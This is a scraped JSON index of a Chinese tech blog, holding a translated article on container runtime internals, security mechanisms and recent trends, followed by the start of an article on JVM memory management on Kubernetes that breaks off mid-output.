简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"容器运行时的内部结构和最新趋势(2023)","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"容器运行时的内部结构和最新趋势(2023) 原文为 Akihiro Suda 在日本京都大学做的在线讲座,完整的 PPT 可 点击此处下载 本文内容分为以下三个部分: 容器简介 容器运行时的内部结构 容器运行时的最新趋势 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:0:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"1. 容器简介 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"什么是容器? 容器是一组用于隔离文件系统、CPU 资源、内存资源、系统权限等的各种轻量级方法。容器在很多意义上类似于虚拟机,但它们比虚拟机更高效,而安全性则往往低于虚拟机。 有趣的是,“容器”目前还没有严格的定义。当虚拟机提供类似容器的接口时,例如,当它们实现 OCI(开放容器)规范 时,甚至虚拟机也可以被称为“容器”。这种“非容器”的容器将在后面的第三部分中讨论。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:1","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker Docker 是最流行的容器引擎。Docker 本身支持 Linux 容器和 Windows 容器,但 Windows 容器不在本次讨论的范围之内。 启动 Docker 容器的典型命令行如下: docker run -p 8080:80 -v .:/usr/share/nginx/html nginx:1.25 执行该命令后,可以在 http://\u003cthe host’s IP\u003e:8080/ 中看到当前目录下 index.html 的内容。 命令中的 -p 8080:80 部分指定将主机的 TCP 8080 端口转发到容器的 80 端口。 命令中的 -v .:/usr/share/nginx/html 部分指定将主机上的当前目录挂载到容器中的 /usr/share/nginx/html。 命令中的 nginx:1.25 指定使用 Docker Hub 上的 官方 nginx 镜像。Docker 镜像与虚拟机镜像有些相似,但是它们通常不包含额外的诸如 systemd 和 sshd 等守护进程。 您也可以在 Docker Hub 上找到其他应用程序的官方镜像。您还可以使用称为 Dockerfile 的语言自行构建自己的镜像: FROM debian:12 RUN apt-get update \u0026\u0026 apt-get install -y openjdk-17-jre COPY myapp.jar /myapp.jar CMD [\"java\", \"-jar\", \"/myapp.jar\"] 可以使用 docker build 命令构建镜像,并使用 docker push 命令将其推送到 Docker Hub 或其它镜像仓库。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:2","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Kubernetes Kubernetes 将多个容器主机(例如(但不限于)Docker 主机)集群化,以提供负载平衡和容错功能。 值得注意的是,Kubernetes 也是一个抽象框架,用于与 Pods(始终在同一主机上共同调度的容器组)、Services(网络连接实体)和 其它类型的对象 进行交互,但是本次演讲不会深入介绍 kubernetes。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:3","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 与 Docker 之前的容器 虽然容器直到 2013 年 Docker 发布才受到太多关注,但 Docker 并不是第一个容器平台: 1999:FreeBSD Jail 2000:Linux 虚拟环境系统(Virtuozzo 和 OpenVZ 的前身) 2001:Linux Vserver 2002:Virtuozzo 2004:BSD Jail for Linux 2004:Solaris Containers(显然,“容器”这个词就是这次创造的) 2005:OpenVZ 2008:LXC 2013:Docker 人们普遍认为 FreeBSD Jail(大约 1999 年)是类 Unix 操作系统的第一个实用容器实现,尽管“容器”这个术语并不是在那时创造的。 从那时起,Linux 上也出现了几种实现。然而,Docker 之前的容器与 Docker 容器有本质上的不同。前者专注于模仿整个机器,其中包含 System V init、sshd、syslogd 等。当时经常将 Web 服务器、应用服务器、数据库服务器和所有内容放入一个容器中。 Docker 改变了整个范式。就 Docker 而言,一个容器通常只包含一个服务,因此容器可以是无状态且不可变的。这种设计显着降低了维护成本,因为容器现在是一次性的;当需要更新某些内容时,您只需删除容器并从最新镜像重新创建它即可。您也不再需要在容器内安装 sshd 和其他实用程序,因为您永远不需要对其进行 shell 访问。这也简化了多主机集群的负载平衡和容错。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:4","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"2. 容器运行时的内部结构 本节假设使用 Docker v24 及其默认配置,但大多数部分也适用于非 Docker 容器。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 底层 Docker 由客户端程序(docker CLI)和守护进程(dockerd)组成。docker CLI 通过 Unix 套接字 (/var/run/docker.sock) 连接到 dockerd 守护进程来创建容器。 然而,dockerd 守护进程本身并不创建容器,它将控制权委托给 containerd 守护进程来创建容器。但 containerd 也不创建容器,而是进一步将控制权委托给 runc 运行时,它包含了多个 Linux 内核功能,例如 Namespaces、Cgroups 和 Capabilities,以实现“容器”的概念。Linux 内核中并没有“容器”对象。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:1","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Namespace 命名空间 Namespace 命名空间 将资源与主机和其他容器隔离。 最知名的命名空间是 mount namespace。Mount 命名空间隔离文件系统视图,以便容器可以使用 pivot_root(2) 系统调用将 rootfs 更改为 /var/lib/docker/.../\u003ccontainer's rootfs\u003e。该系统调用类似于传统的 chroot(2) 但 更安全。 容器的 rootfs 与主机的结构非常相似,但它对 /proc、/sys 和 /dev 有一些限制。例如, /proc/sys 目录被重新挂载为只读绑定以禁止 sysctl。 通过挂载 /dev/null 来屏蔽 /proc/kcore 文件(RAM)。 通过挂载空的只读 tmpfs 来屏蔽 /sys/firmware 目录(固件数据)。 对 /dev 目录的访问受到 Cgroup 的限制(稍后讨论)。 Network namespace 允许为容器分配专用 IP 地址,以便它们可以通过 IP 相互通信。 PID namespace 隔离进程树,以便容器无法控制其外部的进程。 User namespace(不要与用户空间 混淆)通过将主机上的非 root 用户映射到容器中的伪 root 来隔离 root 权限。伪 root 可以像容器中的root 一样运行 apt-get、dnf 等,但它没有对容器外部资源的特权访问。 用户命名空间显着减轻了潜在的容器突破攻击,但 Docker 中默认不使用它。 其他命名空间: IPC命名空间:隔离 System V 进程间通信对象等。 UTS 命名空间:隔离主机名。“UTS”(Unix Time Sharing system)似乎对这个命名空间来说是个用词不当的称呼。 (可选)Cgroup 命名空间:隔离 /sys/fs/cgroup 层次结构。 (可选)Time 命名空间:隔离时钟。大多数容器尚未使用。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:2","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Cgroups Cgroups(控制组)施加多种资源配额,例如 CPU 使用率、内存使用率、block I/O 以及容器中的进程数量。 Cgroup 还控制对设备节点的访问。Docker默认配置 允许无限制访问 /dev/null、/dev/zero、/dev/urandom 等,不允许访问 /dev/sda(磁盘设备)、/dev/mem(内存)等。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:3","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Capabilities 在 Linux 上,root 权限由 64-bit capability 标记。目前使用了 41 位。 Docker 的默认配置删除了系统范围的管理功能,例如 CAP_SYS_ADMIN。 保留的能力包括: CAP_CHOWN:用于在容器内运行 chown。 CAP_NET_BIND_SERVICE:用于绑定容器内 1024 以下的 TCP 和 UDP 端口。 CAP_NET_RAW:用于运行需要制作原始以太网数据包的旧版 ping 实现。这种功能非常危险,因为它允许在容器网络中进行ARP 欺骗和 DNS 欺骗。Docker 的未来版本可能会默认禁用它。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:4","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"(可选)Seccomp Seccomp(安全计算)允许指定系统调用的显式允许列表(或拒绝列表)。Docker 的默认配置允许大约 350 个系统调用。 Seccomp 用于纵深防御;对于容器来说这并不是硬性要求。为了向后兼容,Kubernetes 仍然默认不使用 seccomp,并且在可预见的将来可能永远不会改变默认配置。用户仍然可以通过 KubeletConfiguration 选择启用 seccomp 。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:5","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"(可选)AppArmor 或 SELinux AppArmor 和 SELinux(安全增强型 Linux)是 LSM(Linux 安全模块),可提供更细粒度的配置旋钮。 这些是相互排斥的;由主机操作系统发行商(而不是容器镜像发行商)选择: AppArmor:Debian、Ubuntu、SUSE 等选择的。 SELinux:由 Fedora、Red Hat Enterprise Linux 和类似的主机操作系统发行版选择。 为了进行纵深防御,Docker 的 默认 AppArmor 配置文件 几乎与其功能、挂载掩码等默认配置重叠。用户可以添加自定义设置以提高安全性。 但 SELinux 的情况则不同。要在 selinux-enabled 模式下运行容器,您必须在绑定挂载上附加选项 :z(小写字符)或 :Z(大写字符),或者自己运行复杂的 chcon 命令避免权限错误。 :z(小写字符)选项用于类型强制。类型强制通过为进程和文件分配“类型”来保护主机文件免受容器的影响。以 container_t 类型运行的进程可以读取 container_share_t 类型的文件,并读/写 container_file_t 类型的文件,但无法访问其他类型的文件。 :Z(大写字符)选项用于多类别安全性。多类别安全性通过为进程和文件分配类别号来保护一个容器免受另一个容器的影响。例如,类别 42 的进程无法访问标记为类别 43 的文件。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:6","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"适用于 Mac/Win 的 Docker Docker Desktop 产品支持在 Mac 和 Windows 上运行 Linux 容器,但它们只是在底层运行 Linux 虚拟机来在其上运行容器。这些容器不直接在 macOS 和 Windows 上运行。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:7","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"3.容器运行时的最新趋势 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 的替代品(作为 Kubernetes 运行时) Kubernetes 的第一个版本(2014 年)是专门为 Docker 制作的。Kubernetes v1.3 (2016) 添加了对名为 rkt 的替代容器运行时的临时支持,但 rkt 已于2019 年退役。支持替代容器运行时的努力在 Kubernetes v1.5 (2016) 中产生了容器运行时接口 CRI API。CRI 首次亮相后,业界已趋同于使用 containerd 和 CRI-O 这两种运行时其中之一:。 Kubernetes 仍然内置了对 Docker 的支持,但最终在 Kubernetes v1.24(2022年)中被删除。Docker 仍然继续作为第三方运行时为 Kubernetes 工作(通过 cri-dockerd shim),但 Docker 现在在 Kubernetes 中的使用率越来越低。 业界知名大厂已经从 Docker 转向了 containerd 或者 CRI-O: containerd 的采用者:Amazon Elastic Kubernetes Service (EKS)、Azure Kubernetes Service (AKS)、Google Kubernetes Engine (GKE)、k3s 等(很多)。 CRI-O 的采用者:Red Hat OpenShift、Oracle Container Engine for Kubernetes (OKE) 等。 Containerd 注重可扩展性,支持非 Kubernetes 工作负载以及 Kubernetes 工作负载。相比之下,CRI-O 注重简单性,并且仅支持 Kubernetes。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:1","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 的替代方案(作为 CLI) 尽管 Kubernetes 已成为多节点生产集群的标准,但用户仍然希望使用类似 Docker 的 CLI 在笔记本电脑上本地构建和测试容器。Docker 基本上满足了这个需求,但是社区中的运行时开发人员希望构建自己的“实验室”CLI,以先于 Docker 和 Kubernetes 孵化新功能,因为通常很难向 Docker 和 Kubernetes 提出新功能,由于一些技术/技术因素原因。 Podman(以前称为 kpod )是由 Red Hat 等公司创建的兼容 Docker 的独立容器引擎。它与 Docker 的主要区别在于它默认没有守护进程。此外,Podman 的独特之处在于它为管理 Pod(共享相同网络命名空间的容器组,通常共享同一主机上的数据卷以实现高效通信)以及容器提供一流的支持。然而,大多数用户似乎只将 Podman 用于非 Pod 容器。 nerdctl(我于 2020 年创立)是一个适用于 containerd 的兼容 Docker 的 CLI。nerdctl 最初是为了试验新功能,例如延迟拉取(稍后讨论),但它对于调试运行 containerd 的 Kubernetes 节点也很有用。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:2","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"在 Mac 上运行容器 Docker Desktop 的 Mac 和 Windows 产品是专有的。Windows 用户可以在 WSL2 中运行 Docker 的 Linux 版本(Apache License 2.0,无图形界面),但迄今为止,Mac 用户还没有相应的解决方案。 Lima(也是我于 2021 年创立的)是一个命令行工具,用于在 macOS 上创建类似 WSL2 的环境来运行容器。Lima 默认使用 nerdctl,但它也支持 Docker 和 Podman。 Lima 还被 colima (2021)、Rancher Desktop (2021) 和 Finch (2022)等第三方项目采用。 Podman 社区发布了 Podman Machine(命令行工具,2021 年)和 Podman Desktop(GUI,2022 年)作为 Docker Desktop 的替代品。Podman Desktop 也支持 Lima(可选)。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:3","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 正在重构 containerd 主要提供两个子系统:运行时子系统和镜像子系统。然而,后者并未被Docker使用。这是一个问题,因为 Docker 自身的传统镜像子系统远远落后于 containerd 的现代镜像子系统(这也导致我启动了nerdctl项目): 不支持 lazy-pulling 惰性拉取(按需镜像拉取) 对多平台镜像的有限支持(例如 AMD64/ARM64 双平台镜像) OCI 规范的有限合规性 这个长期存在的问题终于得到解决。Docker v24 (2023) 在 /etc/docker/daemon.json 中添加了对使用 containerd 的镜像子系统和 undocumented option 的实验性支持: {\"features\":{\"containerd-snapshotter\": true}} Docker 的未来版本(2024?2025?)很可能默认使用 containerd 的镜像子系统。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:4","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Lazy-pulling 惰性拉取 容器镜像中的大多数文件从未被使用: “拉取包占容器启动时间的 76%,但其中只有 6.4% 的数据被读取” 摘自“ Slacker:使用 Lazy Docker 容器进行快速分发”(Harter 等人,FAST 2016) “惰性拉取”是一种通过按需拉取部分镜像内容来减少容器启动时间的技术。对于 OCI 标准 tar.gz 镜像 来说这是不可能的,因为它们不支持 seek() 操作。人们提出了几种替代格式来支持惰性拉取: eStargz (2019) :优化 seek() 能力的 gzip 粒度;向前兼容 OCI v1 tar.gz。 SOCI (2022):捕获 tar.gz 解码器状态的检查点;向前兼容 OCI v1 tar.gz。 Nydus (2022):另一种图像格式; 与 OCI v1 tar.gz 不兼容。 OverlayBD (2021):将块设备作为容器镜像;与 OCI v1 tar.gz 不兼容。 下图显示了 eStargz 的基准测试结果。惰性拉动(+额外优化)可以将容器启动时间减少到 1/9。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:5","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"扩大 User namespace 的采用 尽管 Docker 自 v1.9(2015)以来一直支持用户命名空间,但在 Docker 和 Kubernetes 生态系统中仍然很少使用。 原因之一是 “chowning” 容器 rootfs 作为伪根的复杂性和开销。Linux 内核 v5.12 (2021) 添加了 “idmapped mounts” 以消除 chown 的必要性。计划在 runc v1.2 中支持这一点。 runc v1.2 发布后,用户命名空间预计将在 Docker 和 Kubernetes 中更加流行,而 Docker 和 Kubernetes 刚刚在 v1.25(2022)中添加了对用户命名空间的 初步支持。出于兼容性考虑,Kubernetes 不太可能默认启用用户命名空间。然而,Docker 将来 仍有可能默认启用用户命名空间。不过,一切还没有决定。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:6","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Rootless 容器 Rootless 容器 是一种将容器运行时以及容器放置在由非 root 用户创建的用户命名空间中的技术,以减轻运行时的潜在漏洞。 即使容器运行时存在允许攻击者逃离容器的错误,攻击者也无法拥有对其他用户的文件、内核、固件和设备的特权访问权限。 以下是 rootless 容器的简史: 2014:LXC v1.0 引入了对 rootless 容器的支持。当时 rootless 容器被称为“非特权容器”。LXC 的非特权容器与现代 rootless 容器略有不同,因为它们需要 SETUID 二进制文件 来 启动网络。 2017:runc v1.0-rc4 获得对 rootless容器的初步支持。 2018:一些工具已经开始支持,containerd、BuildKit(docker build的后端)、Docker、Podman。slirp4netns 被我自己创建,以通过转换以太网来允许 SETUID-less 网络数据包发送至非特权套接字系统调用。 2019:Docker v19.03 发布,对 rootless 容器提供实验性支持。Podman v1.1 也在今年发布,具有相同的功能,略领先于 Docker v19.03。 2020:Docker v20.10 发布,rootless 容器全面可用。 从 2020 年到 2022 年,我们还致力于 bypass4netns,通过在容器内挂钩套接字文件描述符并在容器外重建它们来消除 slirp4netns 的开销。所实现的吞吐量甚至比 “rootful” 容器更快。 Rootless 容器已经成功普及,但也有人对 rootless 容器提出批评。特别是,是否应该允许非root用户创建运行无根容器所需的用户命名空间是有争议的。对于容器用户,我的回答是“是”,因为无根容器至少比以根身份运行所有内容要安全得多。但是,对于不使用容器的人,我宁愿回答“否”,因为用户命名空间也可能是攻击面。例如,CVE-2023–32233 漏洞:“Privilege escalation in Linux Kernel due to a Netfilter nf_tables vulnerability.”。 社区已经在寻求解决这一困境的方法。Ubuntu(自 13.10 起)和 Debian 提供了一个 sysctl 设置 kernel.unprivileged_userns_clone=\u003cbool\u003e 来指定是否允许或禁止创建非特权用户命名空间。然而,他们的补丁并没有合并到上游 Linux 内核中。 相反,上游内核在 Linux v6.1 (2022) 中引入了新的 LSM(Linux 安全模块)钩子 userns_create ,以便 LSM 可以动态决定是否允许或禁止创建用户命名空间。该钩子可从 eBPF (bpf_program__atttach_lsm()) 调用,因此预计将有一个不依赖于 AppArmor 或 SELinux 的细粒度且非特定于发行版的旋钮。然而,eBPF + LSM 的用户空间实用程序尚未成熟,无法为此提供良好的用户体验。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:7","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"更多 LSM Landlock LSM 已合并到 Linux v5.13 (2021) 中。Landlock 与 AppArmor 类似,它通过路径(LANDLOCK_ACCESS_FS_EXECUTE、LANDLOCK_ACCESS_FS_READ_FILE 等)限制文件访问,但 Landlock 不需要 root 权限来设置新配置文件。Landlock 也与 OpenBSD 的 promise(2) 非常相似。 Landlock 仍然 不受 OCI Runtime Spec 支持,但我猜它可以包含在 OCI Runtime Spec v1.2 中。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:8","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Kata Containers 正如我在第一部分中提到的,“容器”并不是一个定义明确的术语。任何东西只要能与现有的容器生态系统提供良好的兼容性,就可以称为“容器”。 Kata Containers (2017) 就是这样一种“容器”,实际上并不是狭义上的容器。Kata 容器实际上是虚拟机,但支持 OCI 运行时规范。Kata 容器比 runc 容器安全得多,但是它们在性能方面存在缺陷,并且在不支持嵌套虚拟化的典型非裸机 IaaS 实例上无法正常工作。 Kata Containers 作为一个 containerd 运行时插件,并接收与 runc 容器相同的镜像和运行时配置。它的用户体验与 runc 容器几乎没有区别。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:9","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"gVisor gVisor (2018) 是另一个奇特的容器运行时。gVisor 捕获系统调用并在 Linux 兼容的用户模式内核中执行它们以减轻攻击。gVisor 目前具有 三种 捕获系统调用的模式: KVM 模式:很少使用,但是裸机主机的最佳选择 ptrace 模式:最常见的选项,但速度较慢 SIGSYS trap 模式(自 2023 年起):预计最终取代 ptrace 模式 gVisor 已用于 Google 的多个产品中,包括 Google Cloud Run。然而,Google Cloud Run 已于 2023 年从 gVisor 转向 microVM。这意味着 gVisor 的性能和兼容性问题对于他们的业务来说是不可忽视的。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:10","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"WebAssembly WebAssembly (WASM) 是一种独立于平台的字节代码格式,最初于 2015 年 为 Web 浏览器设计。WebAssembly 与 Java applet (1995) 有点相似,但它更注重可移植性和安全性。WebAssembly 的一个有趣的方面是它将代码地址空间与数据地址空间分开;没有像 JMP \u003cimmediate\u003e 和 JMP *\u003creg\u003e 这样的指令。它仅支持 跳转到在编译时解析的标签。这种设计减少了任意代码执行错误,尽管它也牺牲了 JIT 将其他字节代码格式编译为 WebAssembly 的可行性。 WebAssembly 作为容器的潜在替代品也受到关注。为了在浏览器之外运行 WebAssembly,WASI(WebAssembly 系统接口)于 2019 年提出,提供低级 API(例如 fd_read()、fd_write()、sock_recv()、sock_send())可用于在其上实现类似 POSIX 的层。containerd 在 2022 年添加了 runWASI 插件,将 WASI 工作负载视为容器。 2023年,WASIX 被提议扩展 WASI 以提供更方便(也有些争议)的功能: 线程:thread_spawn(), thread_join()`, … 进程: proc_fork(), proc_exec(), … 套接字:sock_listen(), sock_connect(), … 最终,这些技术可能会取代很大一部分(但不是 100%)的容器。Docker 的创始人 Solomon Hykes 表示:“如果 WASM+WASI 在 2008 年就存在,我们就不需要创建 Docker 了 ”。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:11","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"总结 容器比虚拟机更高效,但安全性往往也更低。人们正在引入许多安全技术来强化容器。(用户命名空间、无根容器、Linux 安全模块……) Docker 的替代品不断涌现(containerd、CRI-O、Podman、nerdctl、Finch 等),但 Docker 并没有消失。 “Non-container” 容器也是趋势。(Kata:基于 VM,gVisor:用户模式内核,runWASI:WebAssembly,…) 下图显示了著名的运行时的概况。 更多内容另请参阅 PPT 的其余部分,了解本文中无法涵盖的其他主题。 文本翻译自: https://medium.com/nttlabs/the-internals-and-the-latest-trends-of-container-runtimes-2023-22aa111d7a93 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:4:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Java 应用程序在 Kubernetes 上棘手的内存管理","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"引言 如何结合使用 JVM Heap 堆和 Kubernetes 内存的 requests 和 limits 并远离麻烦。 在容器环境中运行 Java 应用程序需要了解两者 —— JVM 内存机制和 Kubernetes 内存管理。这两个环境一起工作会产生一个稳定的应用程序,但是,错误配置最多可能导致基础设施超支,最坏情况下可能会导致应用程序不稳定或崩溃。我们将首先仔细研究 JVM 内存的工作原理,然后我们将转向 Kubernetes,最后,我们将把这两个概念放在一起。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:1:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"JVM 内存模型简介 JVM 内存管理是一种高度复杂的机制,多年来通过连续发布不断改进,是 JVM 平台的优势之一。对于本文,我们将只介绍对本主题有用的基础知识。在较高的层次上,JVM 内存由两个空间组成 —— Heap 和 Metaspace。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:2:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"非 Heap 内存 JVM 使用许多内存区域。最值得注意的是 Metaspace。Metaspace 有几个功能。它主要用作方法区,其中存储应用程序的类结构和方法定义,包括标准库。内存池和常量池用于不可变对象,例如字符串,以及类常量。堆栈区域是用于线程执行的后进先出结构,存储原语和对传递给函数的对象的引用。根据 JVM 实现和版本,此空间用途的一些细节可能会有所不同。 我喜欢将 Metaspace 空间视为一个管理区域。这个空间的大小可以从几 MB 到几百 MB 不等,具体取决于代码库及其依赖项的大小,并且在应用程序的整个生命周期中几乎保持不变。默认情况下,此空间未绑定并会根据应用程序需要进行扩展。 Metaspace 是在 Java 8 中引入的,取代了 Permanent Generation,后者存在垃圾回收问题。 其他一些值得一提的非堆内存区域是代码缓存、线程、垃圾回收。更多关于非堆内存参考这里。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:2:1","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"Heap 堆内存 如果 Metaspace 是管理空间,那么 Heap 就是操作空间。这里存放着所有的实例对象,并且垃圾回收机制在这里最为活跃。该内存的大小因应用程序而异,取决于工作负载的大小 —— 应用程序需要满足单个请求和流量特征所需的内存。大型应用程序通常具有以GB为单位的堆大小。 我们将使用一个示例应用程序用于探索内存机制。源代码在此处。 这个演示应用程序模拟了一个真实世界的场景,在该场景中,为传入请求提供服务的系统会在堆上累积对象,并在请求完成后成为垃圾回收的候选对象。该程序的核心是一个无限循环,通过将大型对象添加到列表并定期清除列表来创建堆上的大型对象。 val list = mutableListOf\u003cByteArray\u003e() generateSequence(0) { it + 1 }.forEach { if (it % (HEAP_TO_FILL / INCREMENTS_IN_MB) == 0) list.clear() list.add(ByteArray(INCREMENTS_IN_MB * BYTES_TO_MB)) } 以下是应用程序的输出。在预设间隔(本例中为350MB堆大小)内,状态会被清除。重要的是要理解,清除状态并不会清空堆 - 这是垃圾收集器内部实现的决定何时将对象从内存中驱逐出去。让我们使用几个堆设置来运行此应用程序,以查看它们对JVM行为的影响。 首先,我们将使用 4 GB 的最大堆大小(由 -Xmx 标志控制)。 ~ java -jar -Xmx4G app/build/libs/app.jar INFO Used Free Total INFO 14.00 MB 36.00 MB 50.00 MB INFO 66.00 MB 16.00 MB 82.00 MB INFO 118.00 MB 436.00 MB 554.00 MB INFO 171.00 MB 383.00 MB 554.00 MB INFO 223.00 MB 331.00 MB 554.00 MB INFO 274.00 MB 280.00 MB 